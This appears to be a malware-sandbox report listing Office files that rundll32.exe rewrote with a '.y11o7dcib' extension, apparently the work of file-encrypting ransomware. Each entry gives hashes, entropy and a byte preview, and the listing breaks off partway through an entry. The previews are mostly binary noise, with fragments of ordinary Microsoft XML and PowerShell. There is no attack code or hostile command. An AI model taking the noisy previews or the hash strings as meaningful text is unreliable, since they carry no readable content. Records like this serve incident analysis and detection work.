.W.......................................................................................................................................(VQ..pf...c.(....M...../..3..1...

C:\Program Files (x86)\microsoft office\Office16\SLERROR.XML.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	36650
Entropy (8bit):	6.4964804945715064
Encrypted:	false
SSDEEP:	384:0tJhdlBKDjb85oraT4N3JObmPXCNVSxidktVMWIB1COvhwF6VuzGWgNcv+cenYmp:c0ZXCy74zCEMZsxaji2O9B7kDP0z
MD5:	A6984319DF7A3308C52C493921B99EB2
SHA1:	A2D89AAB62ABC9F21103BAF18949475D11A76CDB
SHA-256:	9140F8E55129D8DE2CEA90C8F1FE5B6666A1DD148639186868797D032C86BE55
SHA-512:	5B5AB744D344645847C1A5A01AD44F54C6F70735CF486AF407307FDF63952739AB60255CF93FAFD9CF1D8912BF69A88CA001697DA620CB1E0CB0535A997A4C0F
Malicious:	false
Preview:	p.....a{..j../.0^...Vp..."...7......m.[.=....x[^..y...4.T...fY..the license is invalid.</err0xC004B001>..<err0xC004B002>The activation server determined that the license is invalid.</err0xC004....l.4......C0....Q..B.<...~......9.Q.k....x]...d...}.Y...zP..license is invalid.</err0xC004B003>..<err0xC004B004>The activation server determined that the license is invalid.</err0xC004B004r.....t8..P...C0..qZ...I.u...~..M...o.F.y....p@...-..).E...bQ.Jnse is invalid.</err0xC004B005>..<err0xC004B006>The activation server determined that the license is invalid.</err0xC004B006>..<)...."68..P..c'hC.DQ.[.K.u...d.....k.D.o...PiA...y.H>.\..kJ.Lould not connect to the activation server.</err0xC004B007>..<err0xC004B008>The activation server determined that the product cou ...&j..I.4.aR.A.^..X.,..'..].......o...3-.J..=..<5.....gN.[ion server determined that the license is invalid.</err0xC004B009>..<err0xC004B010>The activation server determined that require(....hm..@^.6.n..KF.K.I.r...7..M...w...

C:\Program Files (x86)\microsoft office\Office16\vNextDiag.ps1.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	22164
Entropy (8bit):	7.2403436218126815
Encrypted:	false
SSDEEP:	384:AwXbRkAL7HVTyq0F5GPYW0eGVEIPtA35gKB7J94Owzvv5/u8Nns5ibjM4sVydkwY:3bRbHyDGwTeGVEI+35J43zp/u8Nns5Ii
MD5:	030A8943244E1A474BCC6751DD5FAAC9
SHA1:	1EED6B6B90F120FC8D1285DC8AB518CB677D5C0E
SHA-256:	A57289721FC3367422DD3108159A6B2E028F7AAB8E60DCC290D1C436960D8CD3
SHA-512:	6241E2E201320E67525F847D55AAA5C085FA9486E468A16EDD60E49BA96463E8107F708CDF94E70B99A3F213CE16B40F8E6E9DB3A37F8A66EA738C2E50F0AB60
Malicious:	false
Preview:	,.....A..-.T....]]......;57...Va.d..1u.QP...H.>..c...n.." k...of the state of Office licenses..# as well as some basic management of licenses...#..# version 1.0.0....param ($action='list', $c.....P..epp..@z9......=36...A$..b..<t..K.j.J.=......C.."q...xost...Write-Host "========== Mode per ProductReleaseId ==========".....$vNextRegkey = "HKCU:\SOFTWARE\Microsoft\Office\16.0\Comm`.5...P..%....Ol2......7.z..b.7.h..'y......H.c..c......+p<...HtRegkey -ErrorAction Ignore \| Select-Object -ExpandProperty 'property' \| Where-Object -FilterScript {$_.ToLower() -like "*retail-.D.......6..C}.W......oxr...P,..m..X..8B...[.+..V...=..!8..\l)...{....Write-Host "No registry keys found."....Return...}.....$vNextPrids \| ForEach `...{....$mode = (Get-ItemProperty -Path +.'...g..'....hn:...'...WR..b,..d..u8..K.]. .G.....G..8p<..U = "vNext"; Break }.....3 { $mode = "Device"; Break }.....Default { $mode = "Legacy"; Break }....}......Write-Host $_ = $mode...r.c...8.9....Iaw.......(=...H1.u..<s.

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-0015-0000-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	322907
Entropy (8bit):	6.37615023849248
Encrypted:	false
SSDEEP:	1536:5GYcAh5aRJuAZkhggI6j51GokoCHv5JA1t8fnk0wVIlgDQsWyQtiEm3/oj3:YMsu8cg+j51G8p8/ktaaDQsWptmvI3
MD5:	9F13083EFE1148183FB62600A3B0CC31
SHA1:	B80ADD876174B87E8A4BE8CFFD541928DA45A86C
SHA-256:	088A2E10693414E38E46E199ED6C2BBFC1C76EFFD92CE340A9EEB68377F776E4
SHA-512:	D76D7B195F6013DB63DD35FF4F219F4A882D1F889A5D5C7A6A9224C885FC47FDEC9150B1F89FD72D40690D29EC78E7E9333D5FB07437036DD53FFD1CF194EDE1
Malicious:	false
Preview:	^..R.4...=.H..Z..U].0.......?..)..Y$.H..p0.)...fk._Be.w.vSk.C.rableNamespaces="appv1.1 appv1.2" xmlns="http://schemas.microsoft.com/appx/2010/manifest" xmlns:appv="http://schemas.microsoft.c.7y..%.K..i....[..RB.\.....M;..}...o.L..{1.z...};_C.,.u.s.D...om/appv/2013/manifest" xmlns:appv1.2="http://schemas.microsoft.com/appv/2014/manifest">.. <Identity Name="Reserved" Publisher="..k<.&...<.!#.G..X_.\..B.A.Ab..%...a.....1h.Y...q=I$.x.>.1_..._-0015-0000-0000-0000000FF1CE" appv:VersionId="cd725cf9-c73d-411e-995c-c7c0f6ae293a" />.. <Properties>.. <DisplayName>Microso..v!.3....i.=Z!\..[P.0....b.Wz..7..K>..P...w.y...^;A.^..t.r.G..@PublisherDisplayName>.. <Description>Reserved</Description>.. <Logo>Reserved.jpeg</Logo>.. <appv:AppVPackageDescription..9N.0...(.h.....CT....C....`.{..H1.._..$m.{...y5BSmO.'. UC.].:AppVInProcExt>true</appv:AppVInProcExt>.. </Properties>.. <Resources>.. <Resource Language="en-us" />.. </Resources>.. <.(3..$...,.rKh?.....1....9..).e...`..w

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-0015-0409-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2044
Entropy (8bit):	7.710857499861018
Encrypted:	false
SSDEEP:	48:pOwj6/rLfFOWZVJrWHMDv627Q0cOiK/w7eVdS:8xdn15Dxk0cO2eVdS
MD5:	35187D2F9CA65649B6087D57FDE7C15C
SHA1:	C69591090C9A4F490F9DDD9F1445593D489F13CF
SHA-256:	33EAC06A83E0D05B16DA3C24DC28BBC44BEC7DAF31DFBCD99C0F80B983EB2620
SHA-512:	68C549E4E40F9D8068E2807CF8E11E8DB0599B155C0557B18DDC01B013B370D9BCE7114ACE70A155BC45EC230905421D06B191DDE9C66A67AB2A13526A1AF29A
Malicious:	false
Preview:	"..[rug.Kv..E...t8.Q.Q.....Ki.g .F.... .]......9Q6].dI..Cd...h..GZe.Ob..o...$8..B...]...^=@h .N...m....]....`.i..+T...B...'..O;e.ZiV.<.@.k8.R.C._...Db.`c.F....$.V..B...i...fK...K...d..Rdr..!H.#...o?.@........m.t......$.V..B...i...fK...K...d..Rdr..!H.#...o?.@........m.t......$.V..B...i...fK...K...d..Rdr..!H.#...o?.@...w.MTah.4v.B...=..N.HB...l]$/.gU...H...G.5Gga.\t..,...u0.....S.CY.4\m,.....p....a...o.M..'..O.....9.V.94..(T.<.@.6i......;..-.,.r....9.%......>L0..5..T....h...9a..)..;...>a....=.].Q8Zc.?p._..Z..L..u...i.J..`...._...}.(Drm.O1H.0.4.u).M.Q...`b.,Nz>.C...8.(.^A...i.aA.`J...H...\|..Kgl.XU..\|...H8...:.].MTli.9p.F...n...._G....L.w..lI...C....).G.Xk.E/+.....c=..D.W.R...G2cP"...... ..-.]g...i.a;.vZ...Y...G.GFqw.Xx..e...c7.F.T.R...^6/r.f...7...NC...g.:r.%...EL...H..t]j.X~..t.N.t,....@...,.XZ'4R.Y...n..L......m.p..v..Y.....f..Aqw.'.Y.,.L.c.F.U.1...]m.??.S...r..R.'.....m.k..f\..t'...{..Geq.Yx....}.&y....c...;.Z..5l......

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-0016-0000-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	802349
Entropy (8bit):	6.334224773533959
Encrypted:	false
SSDEEP:	12288:i2kikTtiUSEW+Ijlo+D/410/xRBHR/WYzp:UikTtfs+H+D/410X/WYzp
MD5:	E7D93FAF0B0720DA737E3370F6C44D98
SHA1:	FB66388BD497451C758466D31C078A0977810494
SHA-256:	CE444BB143FDF36E05F70A09715950CB2577E0DA0134FEB1EE3EE8C2B21E5340
SHA-512:	9AAA77325271840B4C1847BBB43B4B77766487816E3A47718AA1524F53AC3490F4D09C0F1C8F73CE9AB1050CB6DA9FE98E35F9ED8716AFB5715B10166D383BD8
Malicious:	false
Preview:	+.....0.\|T....B..V.1..#.0...+.pM....$...c.....d...q..."sq..lQ.rableNamespaces="appv1.1 appv1.2" xmlns="http://schemas.microsoft.com/appx/2010/manifest" xmlns:appv="http://schemas.microsoft.c......%./.....M..Q...\|b.8...r..=..^..&...e....q.Y.m.. lt....om/appv/2013/manifest" xmlns:appv1.2="http://schemas.microsoft.com/appv/2014/manifest">.. <Identity Name="Reserved" Publisher=".7....6.kV...I..^.3.\|sQ{TI.~..zA.@..4..e........_....k36..;..-0016-0000-0000-0000000FF1CE" appv:VersionId="450a5204-2fe0-46c3-8dbd-106ff646588b" />.. <Properties>.. <DisplayName>Microso......:.x...h..G.<..#.0Zj.h..mS....m...g.....m.Y.&..!fu.o..PublisherDisplayName>.. <Description>Reserved</Description>.. <Logo>Reserved.jpeg</Logo>.. <appv:AppVPackageDescription.7... .oZ....B..Y.8.;&[z...>..=.. ..o...Q...`.W.}...r#'..{O.:AppVInProcExt>true</appv:AppVInProcExt>.. </Properties>.. <Resources>.. <Resource Language="en-us" />.. </Resources>.. <......&.nZ...!...G}...*<.1.:."..F..8..

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-0016-0409-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1842
Entropy (8bit):	7.638866821442065
Encrypted:	false
SSDEEP:	48:Ra4powTWYWvoWmAxrrof7JyxNlYtRASFyXJPZ3AFhQTiFcxES:Rn1WYWvoWmk/Q7JyQASAwg3xES
MD5:	8791A864E98FE1BAA97F21AF45459168
SHA1:	B0426A6B8D41746988CF1A7E01BAA1A4975B9696
SHA-256:	04D32250449567252C8AF887E956C6C09F43919DACEB6376874DC865A549CB5C
SHA-512:	4143C18FE8A0B37FF611760B8B9E4BB14518C29B75BC85BAEEA7BBD8EBAE816EFA5B557A6905F8B4EC254FA36A2BBFE2E5D4CACD014DB5FBEBD88B6C3DA2CB87
Malicious:	false
Preview:	Y..$.L.x...$t@.I...@...7..$F3..\u.g...;^X.Z&4...(...6X...U.....dt7c.~...e^B3....\...k..5Sg..\4.}..i@.E.<z..q.[e..7.....ew?..c..[6..p....E.....(I8...d.,...?XS.Du6...x..W.Z.1......)y"].<.VE4.J!H..._..."..6.7.Q.%..,...?XS.Du6...x..W.Z.1......)y"].<.VE7.J!H..._..."..6.7.Q.%..,...?XS.Du6...x..W.Z.1......)y"].<.VE0.J!H..._...W...yl2.O.}.1.....Kc.u0...}..jc[.7.......;J7^.a...&.q%T...BD..l..t.n..P&.."...X.GQV4...~.^+..n\Y.....6)d..'._Y4..p...K.I........v.Q.b..t...$F UV$a...\|...;..:[B......`-c.. ..M0..pC..Y.V..P...W9.D.`.b...k.I.WB<...x.[{\..........&W4K.p.FE1...O...M...7...O.v..BD.}....Z-X.v9...x..D\.;.......dt;^.v.".wMK!_...IG..z..ya3.B.}.x...M.T.p0...].YdP.......&8na.t.X&aNB2P..UF..f..."Jh.+^4..-...=.(A.P....x.~sJ.,........i86H.p...pTH.....I..f..5Sl.Q.B..r....l.B.t<...v..7...~MS....vh.d.C...AES~R....V....5U..O.f.T..F"I.W)....\|..SsJ.SgO....sj1H.-.lT$..\|t...Y..z.."P7.DC6.<..k.W<a&u..\|..OdZ.-Sb......cj7\.z...aN.M,.[.E..... W%.N...#...

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-0018-0000-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	496471
Entropy (8bit):	6.420968001100663
Encrypted:	false
SSDEEP:	3072:YkuRTrza8Ubvm9gL5Eh5qHea0UupTG7+uNR0obpa69XXlVD5XVR:CDUbvl1os7Lbk69lVDFVR
MD5:	F5777900BC0DCBC5ECF62E41D552E805
SHA1:	E1C2343F970E1D30686B0A5FAC9A3945965D2CE3
SHA-256:	0416DEAAFB1791541FD6E4B684EE95E3864998EBF69DA93F81A4CD9AA43BFCC4
SHA-512:	4C0608A7A4CA4716D6B311EF2A4A7568E57F4FE7786614C225B8DECB46F9791BF0BB59B38815EC042B3E2E0C2449CB917EF1B87EE78D8FE8739DDCAF729516F7
Malicious:	false
Preview:	O.....4DkR...c..=UxL.....6..T.....n.N.m.].....Y...!........>rableNamespaces="appv1.1 appv1.2" xmlns="http://schemas.microsoft.com/appx/2010/manifest" xmlns:appv="http://schemas.microsoft.c.}...!.8....i..&R.S?......$M.W....g.J.f.CA........h.......2om/appv/2013/manifest" xmlns:appv1.2="http://schemas.microsoft.com/appv/2014/manifest">.. <Identity Name="Reserved" Publisher=".^...2]\|P...R..<]uNv.....fA.....-._.,JVb........<_.O.s.T.a-0018-0000-0000-0000000FF1CE" appv:VersionId="08d77957-af3f-4fbd-aa84-18f7ff89b692" />.. <Properties>.. <DisplayName>Microso.d...>Lo....+;.<DvA2....]W........\|.[..U.B........S....3...~PublisherDisplayName>.. <Description>Reserved</Description>.. <Logo>Reserved.jpeg</Logo>.. <appv:AppVPackageDescription.^@..$Lx\.J.k..ZnE9....'..f......n.[/9O.@.........]._.y...':AppVInProcExt>true</appv:AppVInProcExt>.. </Properties>.. <Resources>.. <Resource Language="en-us" />.. </Resources>.. <.bJ.."Fy\.[.:r.o.:.w.....2..N...... .

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-0018-0409-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.649594146925916
Encrypted:	false
SSDEEP:	48:fpuY3+SPsv2y69+4pEXfQHjKi3sAGQzo+z4XTDS:oYOqsv2tI4pCo5dGWtUTDS
MD5:	C4933D565A9B44708C7BCA7AA8AE58A8
SHA1:	E8605D26F771FB32B6C6C5BB65259CE908DBCD43
SHA-256:	BB7315713B3A642B78A1E150BDA683A8A287595543236FD0B4692B695BE12393
SHA-512:	8C0B3B9624B69408FEEE39E904D9B2EABA7D0F4FDB35E65313EA3A96A41EE8E1DEE437842F4A8A3A1C81B32AD0625124A0FA22075BB0E7DF2BF27DA5D70BB214
Malicious:	false
Preview:	.'...../..FX^^l^..=...\...1LTg..z..2..........Z..?x..x.-.&,KqhP l...:..)..S.t\q.G./.d..A.1]A3..z../.].....E.....!G.;.b.?9.W\|Q)j...2..4...J'.2...1..0N.CA9@[l..9..4.........X..$(Q.7./.9).^{.,q.J./..k..H8Tc_..:.w..../^.c....s.........X..$(Q.7./.9).^{.,q.J./..k..K8Tc_..:.w..../^.c....p.........X..$(Q.7./.9).^{.,q.J./..k..L8Tc_..:.w..kAa.~f.,..;.}.....c.^..,-......?).]}.m].X.:..6..GZ7ogC..0..w..OQo..:..v..s......G..Z..(.G.>.n.fkG.?..3.U.g..p..H'.2.U.o..e..'P.h.".(....A.....U..]..-{..l.~.ni\.i.{3...f..!.B.r.1...}..k0.AA}}Em...'.........R..%([.;.)..3.J`M x.E.9..'...M+.FX..3...\.._L'."..d.. .Z.....X.W...(O.d.).3(.]k.`N...6..!..J.gUcH+.2..X7.AAa.sg....6.\.....T.^..f.G.9.%."3.V13E>.E.c..#..q.d\pG..q..0Z.N-.JX<..x..b.R.....A.k.."(E...?.$3.LfQ! ...;..'..S.~Vl...+.0Y.N.1]A8.(..#.X.....B.R.. &L.W.l.vzMY.N9$.........@=oM<E..:..4M..[.]GT.....!.K........k..9,P.3.?.[PQ.3lm...<..z..X7.>c..0.6X.-./JBc.e..,.F....<.....,Q././.%d\|2/.sN...:..-..W.d..;E.....n....HEq.6..l...

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-0019-0000-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	254926
Entropy (8bit):	6.303210552281016
Encrypted:	false
SSDEEP:	3072:9F2GBZJ6lW0V0Ntp+ITh1UW6KzWnLXDWtUiX0HYGthgJx:9oGLIvV0NtpNh1Ut2ADm04Gthm
MD5:	39E1CC69A5872F07A9021AD653F48EBF
SHA1:	66168CDF2D32D024B30F049CD7B6F93E6B728C7B
SHA-256:	E3389D15A3B1999EB1E904AAFC2DBBAD878C2EE9EB117BBA0B73E257D95F6637
SHA-512:	3A4671C7CCA3E39B1A943CD247CA4E7B324E6B62F28C0C67D5171BD815BB61191BBB5A90BD468AF4C39628055EE968CE4FC660C7A4020A454113734A8653A124
Malicious:	false
Preview:	.y..)~{.U........fNoL.E.N.m.7..e.....a.l.55t2pqs.........c8>.{.rableNamespaces="appv1.1 appv1.2" xmlns="http://schemas.microsoft.com/appx/2010/manifest" xmlns:appv="http://schemas.microsoft.c..-..8k?.........aQ~ .P.Q...3.T1.S...h.h.>4jarif..^.....fm..;.om/appv/2013/manifest" xmlns:appv1.2="http://schemas.microsoft.com/appv/2014/manifest">.. <Identity Name="Reserved" Publisher="5.?..;xb.W.......kL7 .....=.j..i.M...".}.tm.Bpbh..H...C..$4GU%.-0019-0000-0000-0000000FF1CE" appv:VersionId="2d65b2ab-6fa1-4936-b591-4840e9d67c2a" />.. <Properties>.. <DisplayName>Microso.."...ts..........hCsL.E.....r..{....Rs.y.@r6b}`z;.@....gt..).PublisherDisplayName>.. <Description>Reserved</Description>.. <Logo>Reserved.jpeg</Logo>.. <appv:AppVPackageDescriptionH.m..-ns.[.].....pGxg...\.\|.h.T7.-..Pa.y.ah&`xqw..C...A..5>..e.:AppVInProcExt>true</appv:AppVInProcExt>.. </Properties>.. <Resources>.. <Resource Language="en-us" />.. </Resources>.. <&.g..9hy.[.L...Z.$.6M.e.S.i.!.K).K.../.

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-0019-0409-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.663026370754581
Encrypted:	false
SSDEEP:	24:aVuj+2+AWddh3vWdhK0oEShsfImYpnKPxK10kxSi5ewXGKeF4hZH431JSeE9qsKp:CHg21e+pKEBxhXGKeFoHw1W9qsjnBM4S
MD5:	4D55B2634992F21E42205B2904AD86B8
SHA1:	2E5526A0889D8C9E28124A5935AAD4109C5C17B6
SHA-256:	2926451B479621BD6A6D5AB94477526854B33DFF641E839193BB0640A4353673
SHA-512:	173293F5F19460496ED8EFC279D63EBA01007A32096A4F20A3DB815995F7A785097F6BB455E6EC15C94E6B43374121FAF786385CFFF4662D82DCE63CC2DAAA43
Malicious:	false
Preview:	.'..W...R...o....l8au.o{.xi.i.uA.VV.h..rfM{...].$.....+..Dyx.F.x...G.r.....w=0.oj.,4.i.}\..D.:..('W5J....{i....c..M.7.E.........1...Gx2.gw.si..uG.T_.l..sx.y.....8e....~...Hdt.K.F........`.....yt}.qi.\|j@=.+..T_.l..sx.y.....8e....~...Hdt.K.F........`.....yt}.qi.\|j@=.+..T_.l..sx.y.....8e....~...Hdt.K.F........`.....g...?&.y.^?.qH.8V.}...2.......6X....y....HW.x.E...S...d......h:>.1+.%(.e.5..F..y..m={....._l....'...&)...........1.....iJV.\_.={@;.?g..D.w..8jO\|RX... ?....<...O&!...........1......T.0.#J.rjU9.lT.H:.8.\|k)s.....Xi....r..Dmm.e.P.......E....l8au....=:.w.pS..D.}..5$.v.....s6...g....[l.F.E...^...`...../S,0.?&.xiS9.uE..Y.J..9%...P.(.ek....~...!+9...z...e.s.....G>0?.p}.#.:k.%...G.n..,';J.....sL....a..E5W...S...G...o...G=0?.oj.'[@;.UP..V.}../4.s.....(.....-..]1X.Z.....T..?......C)\|f.^j.KS^..jR..C...\|kBJ.....ba...1.Nxv.X.S.......=....A<,\.q}.\|}Uv.`_..D.8.Q]M:YC...y}.......[k.X.G...C........m.Ay.I..ns_%.3..J..

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-001A-0000-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1135696
Entropy (8bit):	6.33527990713205
Encrypted:	false
SSDEEP:	6144:ADNJKmsJWCp0t+I+Q1LSQOrhcc1utx+tYzUfXPHu5:oNJbsPdQ1LSQOric1u4tYz4v6
MD5:	3FF6EC133D48FE8EDC73AEFD6FB26BF6
SHA1:	11937B572BECA516EC7C97B84BBC6F2277391A4F
SHA-256:	2E5C8BEB22745991EBEF0CAF66539C3BD2E40DE83A560E256D091486D14304B8
SHA-512:	D2F11DFF99464D5B0B614C862E2877312E637A68D00E79E7BD21CCB06E6C45B460ADC918CD1415F8C71A31DEB7111DEF356DE341932B5292E9F9B2130FDEAF40
Malicious:	false
Preview:	.!.@...vs.....X.-t..j..W.@,cM..T...:W......z.!M...L....rableNamespaces="appv1.1 appv1.2" xmlns="http://schemas.microsoft.com/appx/2010/manifest" xmlns:appv="http://schemas.microsoft.cw.V.`...%$....Y.s....._.^>:I..G....>S.....aY\|QZ..I..9..om/appv/2013/manifest" xmlns:appv1.2="http://schemas.microsoft.com/appv/2014/manifest">.. <Identity Name="Reserved" Publisher="[.D.u...aq...(.E.%y...T...\|6.........jF.....m_j6S......}.Z-001A-0000-0000-0000000FF1CE" appv:VersionId="1dd72097-ead8-4554-9d92-bfb1953b6b77" />.. <Properties>.. <DisplayName>Microso~.Y.v...r4..Q.^.<z..j..W.=G ....e..."B.....BYb......H..).EPublisherDisplayName>.. <Description>Reserved</Description>.. <Logo>Reserved.jpeg</Logo>.. <appv:AppVPackageDescription&...t...e}......"b..A.^..@=v...Ac...-B.....eWaA:.......=..:AppVInProcExt>true</appv:AppVInProcExt>.. </Properties>.. <Resources>.. <Resource Language="en-us" />.. </Resources>.. <H...u...d}..@.=.l6..k./[.f(r[.._......

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-001A-0409-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	19892
Entropy (8bit):	6.4139029009672885
Encrypted:	false
SSDEEP:	384:oA7sWfNiv1zM29HXDgy0Eg3/EirS37Skr6uAYt4SJF:o009ZkqSsPJ
MD5:	1631224CB97BEEF814CB6C22CF416B6F
SHA1:	329770BA91AE0BB176D6CDB71C3AC881970B927F
SHA-256:	C120FBA8D46154659739F9BEDB66EB1682B82860B9B955EF134A45BB5139A65A
SHA-512:	CCB3483814158E76FDF66E36C5F3C93DD98251FFAFD95518D63C02092823F4011DEE69EBB2D13B544B0756AD1DDCA204CB04515054759B83F9067E0FE3B84516
Malicious:	false
Preview:	.r.c.>..jP..6Sds1y..D]S.M...59V..<..oQ(.O"..2........U..eiQ..rableNamespaces="appv1.1 appv1.2" xmlns="http://schemas.microsoft.com/appx/2010/manifest" xmlns:appv="http://schemas.microsoft.c7..>..+.T=...9R.t6f...H[._...xm.Q^w..kU..N<..*..B...W..0FBI.om/appv/2013/manifest" xmlns:appv1.2="http://schemas.microsoft.com/appv/2014/manifest">.. <Identity Name="Reserved" Publisher=".....8..hQ..=Ne{<{..........P?5.O^y..?@.P.)..!..Tr..[...i..W.-001A-0409-0000-0000000FF1CE" appv:VersionId="66dc8756-3862-45a6-8777-c946c25fcb55" />.. <Properties>.. <DisplayName>Microso>....4..-.....Ueb?t..D]S..&..B('g..&.wD,d.`..#..\^...V..)ER[.PublisherDisplayName>.. <Description>Reserved</Description>.. <Logo>Reserved.jpeg</Logo>.. <appv:AppVPackageDescriptionf.^.....dE...6.s\|'p..A...\..#xka/.).xD.E.p..2.._...Y...cAF..:AppVInProcExt>true</appv:AppVInProcExt>.. </Properties>.. <Resources>.. <Resource Language="en-us" />.. </Resources>.. <..T-.(..dA...U662s5.v}_..I..gu.IAx..P

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-001B-0000-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	769144
Entropy (8bit):	6.21168330619686
Encrypted:	false
SSDEEP:	1536:YHc2i1XBZAB3kF0X9qTFXNEJe0REUQf9uSvnHUEBAnD02+mq5bdAYTf1HYC8ffUU:YHLLrMp+j2uwPbnLEgWmoybKcRHFDfI3
MD5:	719A255AA1D72B4A49B60E4832ADA74F
SHA1:	D64D4A5E69A2002FFF20F17C8251D909DC7E068A
SHA-256:	8C517A98A320B00070BCF87A934C17E9D701019366A6EC29A31164D4B47C450D
SHA-512:	685874EE8283FCF9E769D2379981E082F95FB7EE4D8CE8C76D2CE8261DD764583E3A20972448C093E90B5731659857C616F57019D81A858CA0FF0356050E5A82
Malicious:	false
Preview:	....M.V....Tr#Mj?8.i.-8A.].1..o[z..w7e.?8...5?.+....jVt5BA.."rableNamespaces="appv1.1 appv1.2" xmlns="http://schemas.microsoft.com/appx/2010/manifest" xmlns:appv="http://schemas.microsoft.c..i]m.C.....2x,Lq8?.x.l-I.C.h.."....u>a.93...-.{O.X.hTk0.n.B.om/appv/2013/manifest" xmlns:appv1.2="http://schemas.microsoft.com/appv/2014/manifest">.. <Identity Name="Reserved" Publisher="*0{nx.P....=C(Pk75.1.}c...RdS.eW)...gt5.9yN...&$.}Y.Q.).4rN8.\}-001B-0000-0000-0000000FF1CE" appv:VersionId="5b736f3e-8ace-4719-be4b-373f3d2efc01" />.. <Properties>.. <DisplayName>Microso..fs{.\....!:.Kk.6.u.-8A. irK.rEK..>%}.;MQ..$6.{Q...nUa1.m.PbPublisherDisplayName>.. <Description>Reserved</Description>.. <Logo>Reserved.jpeg</Logo>.. <appv:AppVPackageDescriptionW0).y.F.....tz#.}0..~.(i..].$Q.".M..<7r..lK..5;.uR.8.+.$cDi..;:AppVInProcExt>true</appv:AppVInProcExt>.. </Properties>.. <Resources>.. <Resource Language="en-us" />.. </Resources>.. <9.#Nx.@.....n+@(8~z.0...M.{. ..=.%...kyZ

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-001B-0409-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.658232271398921
Encrypted:	false
SSDEEP:	24:FLQxxt82I4PJv2HQ3Jopd2EWv81I40w3g3gOHEG8zhZil+7KHIuToS:xQyL4Br3JoSu1I4bygCEc3ouToS
MD5:	4AD199E174ED5AB42D85EC57B047C9A5
SHA1:	0B3880F4AD3EC728AE094DA9ECF0FE6DE59143E6
SHA-256:	3B49F930822050F51B295FE7EF1AB1F1531CEE52648448339C26E51FDA414C98
SHA-512:	56070AAC72AFB5FC1B2C1F7A21EF05D7AAE24AECF2C34681D008F1CB9C6DDF45325AB0A50831465C6B9D27340D6BFD4CCC6566B1D443A93B37B29A0BFF6DFAC9
Malicious:	false
Preview:	...].C.4.u7..u...{S.C....oEw.Z..7..j....YT.I.h..!.)OU.."...z.E.7..l..0.`v..'...g@..D..z..Z...[x.....4..k..j.j....7\>.{.CF6.....%.?%..5...~P.Q....`Nw....1..c....XJ}K.}..\|.f.W..'A7.:.X.z..R..gN!'...t...dB......6At...v..c....XJ}K.}..\|.f.W..'A7.:.X.z..R..gN!$...t...dB......6At...u..c....XJ}K.}..\|.f.W..'A7.:.X.z..R..gN!#...t...dB..x...EDa....>.{j....%.}M.n..-.[.V..'F4.).t&h3.Q.#.t5...h...y...C...:.6.V.v..)..._^I.s..j.oR...e.a.$..XeP....eG='..7.J.'...3......e......Gx....X,J.*..i.:BR..b.e.$...7Q....7.q'...".I.7../....~Ot...."......WYJA.h..v.j.Q..=M#.g.Q.u..D.0^!"...s...vO.C....,.$.D..%.\x.....~D.a..b.5=Q..&X4.(.g.7..Q.':yd..c...r..(U...HEw....3.Ze....xM.$.j.h.]..=A?....HuA.n.:@Br..l...}F.EI..c...X..g.T{......Xx.{..h.O.G..=^%.{..&:A.G.'.`c..:...rD.FI..z.E....&.^j.....\|A.l..a..e...t.0.d..)%..k.'.sR..n...+..R.....\|vM.(..$.M.....WY!x.w..}.b.G..^.q.F.D. ..G..Xt07..H...bD.GU...yAc.E..).@x...zo...7..\|.~.W..j#[.4.g.0..S.&.dr....Z.7..q8...~Sm...i..$.

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-001F-0409-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1772
Entropy (8bit):	7.7264965138341895
Encrypted:	false
SSDEEP:	48:q59BkpxHfs5V/z47Jc3evAo7tANQz8Rob9acBS:37U5147Jievh6i8RI9tS
MD5:	30E7B05958131D9E8D9CFC3A86CDA852
